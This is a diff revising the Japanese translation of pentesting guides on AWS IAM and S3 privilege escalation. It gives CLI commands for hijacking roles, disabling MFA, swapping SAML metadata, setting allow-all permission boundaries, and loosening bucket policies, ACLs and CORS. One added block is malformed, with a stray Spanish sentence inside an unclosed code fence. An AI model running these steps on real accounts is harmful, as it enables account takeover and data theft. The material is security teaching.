-**Impact:** グループの持つ権限レベルへの直接的な特権昇格。
+**影響:** グループの権限レベルへの直接的な権限昇格。
### **`iam:UpdateAssumeRolePolicy`**
-ロールの assume role policy ドキュメントを書き換えることを許可し、そのロールおよび関連する権限を引き受けられるようにします。
+ロールの assume role policy document を変更できる権限を与え、そのロールおよび関連する権限を引き受け（assume）可能にします。
-**Exploit:**
+**悪用:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-ポリシーが次のようになっており、ユーザーがそのロールを引き受ける権限を持っている場合:
+ポリシーが次のようになっており、ユーザーにそのロールを引き受ける権限を付与している場合：
```json
{
"Version": "2012-10-17",
@@ -163,38 +163,38 @@ aws iam update-assume-role-policy --role-name \
]
}
```
-**Impact:** 任意のロールの権限を引き受けることで直接的な privilege escalation を引き起こす。
+**Impact:** 任意のロールの権限を引き受けることで直接的な権限昇格が可能になる。
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-CodeCommitへの認証用にSSH公開鍵をアップロードでき、MFAデバイスを無効化できるため、間接的な privilege escalation につながる可能性がある。
+SSH公開鍵をアップロードして CodeCommit に対して認証を行ったり、MFAデバイスを無効化したりすることを許可し、結果として間接的な権限昇格につながる可能性があります。
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
-**MFA無効化のためのExploit:**
+**MFAを無効化するためのエクスプロイト：**
```bash
aws iam deactivate-mfa-device --user-name --serial-number
```
-**影響:** CodeCommit アクセスを有効にするか MFA 保護を無効にすることで、間接的な権限昇格を引き起こす可能性があります。
+**影響:** CodeCommit へのアクセスを有効化したり、MFA 保護を無効化したりすることで、間接的な特権昇格を引き起こす可能性があります。
### **`iam:ResyncMFADevice`**
-MFA デバイスの再同期を許可し、MFA 保護を操作することで間接的な権限昇格を引き起こす可能性があります。
+MFA デバイスの再同期を許可し、MFA 保護の操作により間接的な特権昇格を招く可能性があります。
-**Bash Command:**
+**Bash コマンド:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Impact:** MFAデバイスの追加や操作による間接的な権限昇格。
+**Impact:** MFA devices を追加または操作することでの間接的な権限昇格。
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-これらの権限があれば、**SAML接続のXMLメタデータを変更できます**。その後、**SAML federation**を悪用して、それを信頼している任意の**role**で**login**することができます。
+これらの権限があれば、**SAML 接続の XML メタデータを変更する**ことができます。 その後、**SAML federation** を悪用して、これを信頼している任意の **role** で **login** することができます。
-ただし、これを行うと**正当なユーザーはloginできなくなる**点に注意してください。とはいえ、XMLを取得できれば自分のものに差し替えて**login**し、元に戻すように設定することができます。
+ただし、こうすると **正規のユーザーは login できなくなる** 点に注意してください。 しかし、XML を取得できるため、自分のものを差し替えて **login** し、以前の設定を元に戻すように再構成することができます。
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: SAML metadata を生成し、指定したロールでログインするツール
+> TODO: SAML メタデータを生成し、指定した role でログインできるツール
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-（これについては不確か）攻撃者がこれらの **permissions** を持っている場合、プロバイダーを信頼するすべてのロールにログインできるように、新しい **Thumbprint** を追加できる可能性がある。
+（未確認）もし attacker がこれらの **permissions** を持っていれば、provider を信頼するすべての roles にログインできるように新しい **Thumbprint** を追加できる可能性があります。
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,9 +226,37 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-この権限により、攻撃者はユーザーの permissions boundary を更新できるようになり、通常は既存の権限で制限されている操作を実行可能にして権限を昇格させる可能性があります。
+この権限により、攻撃者はユーザーの permissions boundary を更新できるため、通常は既存の権限で制限されている操作を実行できるようになり、権限がエスカレートする可能性があります。
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
-## 参考文献
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+iam:PutRolePermissionsBoundary を持つ主体は、既存の role に permissions boundary を設定できます。
+この権限を持つ者が role の permissions boundary を変更するとリスクが生じます：操作を不適切に制限してサービスの停止を引き起こす可能性があるか、許容的な permissions boundary を付与した場合は role が実行できる操作が実質的に拡大し、権限昇格を招く可能性があります。
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
+## 参考資料
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index 1a9efbd87..357d702b4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-興味深いバケットに対してこれらの権限を持つ攻撃者は、リソースを乗っ取り、権限を昇格させることができる可能性があります。
+これらの permissions を持つ attacker が対象の buckets に対して hijack resources や escalate privileges を行える可能性があります。
-例えば、"cf-templates-nohnwfax6a6i-us-east-1" という **cloudformation bucket に対する権限** を持つ攻撃者は、デプロイメントを乗っ取ることができます。アクセスは以下のポリシーで付与されることがあります：
+例えば、**permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" を持つ attacker は deployment を hijack できます。アクセスは以下のポリシーで付与できます:
```json
{
"Version": "2012-10-17",
@@ -34,28 +34,29 @@
]
}
```
-そしてハイジャックが可能なのは、テンプレートが bucket にアップロードされた時点から**テンプレートがデプロイされる時点までの短い時間的猶予**が存在するためです。攻撃者は自分のアカウントに**lambda function**を作成し、**bucket notification が送信されたときに trigger**して、**bucket**の**content**を**hijacks**するかもしれません。
+そしてこのハイジャックが可能なのは、テンプレートがバケットにアップロードされてからテンプレートがデプロイされるまでに**ごく短い時間ウィンドウが存在する**ためです。攻撃者は自分のアカウントに**lambda function**を作成し、**bucket notification**が送信されたときにトリガーして、その**bucket**の**content**を**hijacks**するだけかもしれません。
.png>)
-Pacu モジュール [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) はこの攻撃を自動化するために使用できます。\
+The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
詳細はオリジナルの調査を参照してください: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-これは S3 に対して**オブジェクトを取得およびアップロードする**ための権限です。AWS 内（および外部）のいくつかのサービスは S3 ストレージを使って **config files** を保存します。\
-攻撃者がそれらに対して **read access** を持っている場合、**sensitive information** を見つける可能性があります。\
-攻撃者が **write access** を持っている場合、データを改ざんしてサービスを悪用し、**escalate privileges** を試みることができます。以下はその例です:
+これらはS3からオブジェクトを取得およびアップロードするための権限です。AWS内（および外部）で動作するいくつかのサービスは、**config files**を保存するためにS3ストレージを利用します。\
+これらに対して**読み取り権限**を持つ攻撃者は、そこに**機密情報**を見つける可能性があります。\
+これらに対して**書き込み権限**を持つ攻撃者は、データを改ざんしてサービスを悪用し、権限昇格を試みることができます。\
+いくつかの例を示します：
-- EC2 インスタンスが **user data in a S3 bucket** を保存している場合、攻撃者はそれを改変して **execute arbitrary code inside the EC2 instance** させることができます。
+- EC2インスタンスが**user data in a S3 bucket**を保存している場合、攻撃者はそれを改変して**execute arbitrary code inside the EC2 instance**させることができます。
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-terraform の state ファイルがクラウドプロバイダの blob ストレージ（例: AWS S3）に保存されていることは非常に一般的です。state ファイルの拡張子は `.tfstate` で、bucket 名から terraform state ファイルを含んでいると分かることも多いです。通常、各 AWS アカウントはアカウントの状態を示す state ファイルを保存するための bucket を1つ持っています。現実のアカウントではほとんどの場合、開発者は `s3:*` を持ち、場合によってはビジネスユーザでも `s3:Put*` を持っていることがあります。
+[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html)のstateファイルがクラウドプロバイダのblobストレージ（例：AWS S3）に保存されることは非常に一般的です。stateファイルのサフィックスは`.tfstate`であり、バケット名からterraform stateファイルを格納していることが分かることも多いです。通常、各AWSアカウントにはアカウントの状態を示すstateファイルを保存するためのそのようなバケットが1つあります。現実のアカウントでは、ほとんどの場合すべての開発者が`s3:*`を持っていたり、ビジネスユーザが`s3:Put*`を持っていたりします。
-したがって、これらのファイルに対する権限を持っている場合、pipeline 内で terraform の権限（多くの場合 `AdministratorAccess`）で RCE を獲得できる攻撃ベクターが存在し、それによってクラウドアカウントの管理者になれることが多いです。また、terraform に正当なリソースを削除させることで、denial of service attack を引き起こすことも可能です。
+したがって、これらのファイルに対する権限を持っている場合、pipeline内で`terraform`の権限（多くの場合`AdministratorAccess`）でRCEを得られる攻撃ベクトルがあります。これによりクラウドアカウントの管理者になれる場合が多いです。また、そのベクトルを使って`terraform`に正当なリソースを削除させることでDoS攻撃を行うこともできます。
-直接使えるエクスプロイトコードについては、*Terraform Security* ページの *Abusing Terraform State Files* セクションの説明を参照してください:
+直接使えるエクスプロイトコードについては、*Terraform Security*ページの*Abusing Terraform State Files*セクションの説明に従ってください：
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -63,7 +64,7 @@ terraform の state ファイルがクラウドプロバイダの blob ストレ
### `s3:PutBucketPolicy`
-攻撃者は **同一アカウントからの操作である必要があります**。そうでない場合は `The specified method is not allowed` エラーが発生します。この権限を持っていると、該当バケットに対してさらに多くの権限を自身に付与でき、読み取り、書き込み、変更、削除、公開などを行えるようになります。
+攻撃者が**同じアカウントからの**ものである必要があり、そうでない場合はエラー `The specified method is not allowed will trigger` が発生しますが、この権限を持っているとバケットに対して自身にさらに多くの権限を付与できるようになります。これによりバケットの読み取り、書き込み、変更、削除、公開などが可能になります。
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -121,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -149,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-attackerはこれらの権限を悪用して、バケット内の特定のオブジェクトに対するアクセスを拡大する可能性がある。
+攻撃者はこれらの権限を悪用して、バケット内の特定のオブジェクトに対するアクセス権を拡大できる。
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -176,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-これらの権限を持つ攻撃者は、特定の object version に対して Acl を設定できると想定されます。
+これらの権限を持つ攻撃者は、特定のオブジェクトバージョンに対してAclを設定できると想定されます。
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+s3:PutBucketCORS 権限を持つ攻撃者は、バケットの CORS (Cross-Origin Resource Sharing) 設定を変更できます。これにより、どのウェブドメインがエンドポイントにアクセスできるかが制御されます。もし寛容なポリシーを設定すれば、任意のウェブサイトがバケットに対して直接リクエストを行い、ブラウザ上でレスポンスを読み取ることが可能になります。
+
+つまり、バケットからホストされるウェブアプリの認証済みユーザーが攻撃者のサイトを訪れた場合、攻撃者は寛容な CORS ポリシーを悪用し、アプリ次第ではユーザーのプロファイルデータにアクセスしたり、アカウントを乗っ取ったりする可能性があります。
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}
.png)
.png)
.png)